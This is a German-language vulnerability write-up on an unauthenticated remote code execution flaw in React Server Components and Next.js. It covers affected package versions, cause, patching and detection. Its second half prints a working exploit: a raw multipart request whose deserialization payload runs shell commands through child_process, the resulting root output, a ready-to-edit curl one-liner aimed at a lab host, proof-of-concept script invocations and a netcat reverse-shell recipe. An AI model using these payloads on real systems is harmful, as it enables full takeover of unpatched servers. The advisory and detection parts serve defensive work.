---

📌 Überblick

Diese Schwachstelle ermöglicht es nicht authentifizierten Angreifern, beliebigen Code auf anfälligen Servern auszuführen.

Das Problem entsteht durch unsichere Deserialisierung in React Server Component Server Function Endpunkten. Unzureichende Validierung erlaubt es speziell präparierten Anfragen, schädliche Payloads auszuführen.

---

🧨 Auswirkung

• 🌍 Über das Netzwerk ausnutzbar
• 🔓 Keine Authentifizierung erforderlich
• ⚡ Geringe Angriffskomplexität
• 💥 Vollständige Serverkompromittierung möglich
• 📈 CVSS-Score: 10.0 (Maximale Schwere)

Da React-basierte Frameworks weit verbreitet sind, ist die Angriffsfläche extrem groß.

---

📦 Betroffene Pakete

Anfällige Versionen umfassen:

react-server-dom-webpack   19.0.0 – 19.2.0
react-server-dom-parcel    19.0.0 – 19.2.0
react-server-dom-turbopack 19.0.0 – 19.2.0

Frameworks, die auf diesen Paketen aufbauen (z. B. Next.js-Anwendungen, die anfällige Versionen verwenden), können ebenfalls betroffen sein.

---

🔎 Technische Ursache

Der Fehler wird verursacht durch:

• Unsichere Behandlung serialisierter Eingaben
• Serverseitige Deserialisierung, die vor der strikten Validierung erfolgt
• Fehlenden ausreichenden Schutz der Endpunkte

Dies ermöglicht es Angreifern, schädliche Payloads zu erstellen, die auf dem Server ausgeführt werden.

---

🛠 Behebung

✅ Sofortmaßnahmen

• Upgrade auf gepatchte React-Versionen (19.2.1 oder später)
• Anwendungen neu bauen und erneut bereitstellen
• Exponierte RSC-Endpunkte prüfen
• Logs auf verdächtige POST-Anfragen überwachen

---

🧪 Erkennungshinweise

Achten Sie auf:

• Unerwartete POST-Anfragen an RSC-Endpunkte
• Verdächtige serialisierte Payloads
• Ungewöhnliche serverseitige Befehlsausführung

---

📚 Zusammenfassung

Kategorie	Wert
Schwachstelle	Remote Code Execution
Authentifizierung erforderlich	❌ Nein
Angriffsvektor	🌐 Netzwerk
Schweregrad	🔴 Kritisch
In freier Wildbahn ausgenutzt	⚠️ Ja

---

Ausnutzung

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Gibt zurück:

HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195

0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}

---

Verwendung

┌──(kali㉿kali)-[~/Downloads]
└─$ curl -i -X POST http://10.48.133.212:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-H "Next-Action: x" \
-H "Next-Router-State-Tree: b5dce965" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" \
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\\"$B1337\\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'<COMMAND>\').toString().trim();;;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--'
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Sat, 28 Feb 2026 10:19:04 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

0:{"a":"$@1","f":"","b":"3WpzTMYEK9QGOeqIBQxrR"}
1:E{"digest":"287088506"}

sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "whoami"

• Ausgabe: ubuntu (oder ähnlich).

sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "id"

Für eine Reverse Shell:

• Listener: nc -lvnp 4444
• Ausführen: sudo python3 react2shell_poc.py http://10.48.133.212:3000 --rev-shell --rev-ip YOUR_IP --rev-port 4444
• Es sollte eine Verbindung zurück aufgebaut werden; die Antwort zeigt 'shell_started' im Digest.

---

⚠️ Abschließender Hinweis

Wenn Ihre Anwendung React Server Components verwendet, patchen Sie sofort. Verzögerungen erhöhen das Expositionsrisiko erheblich.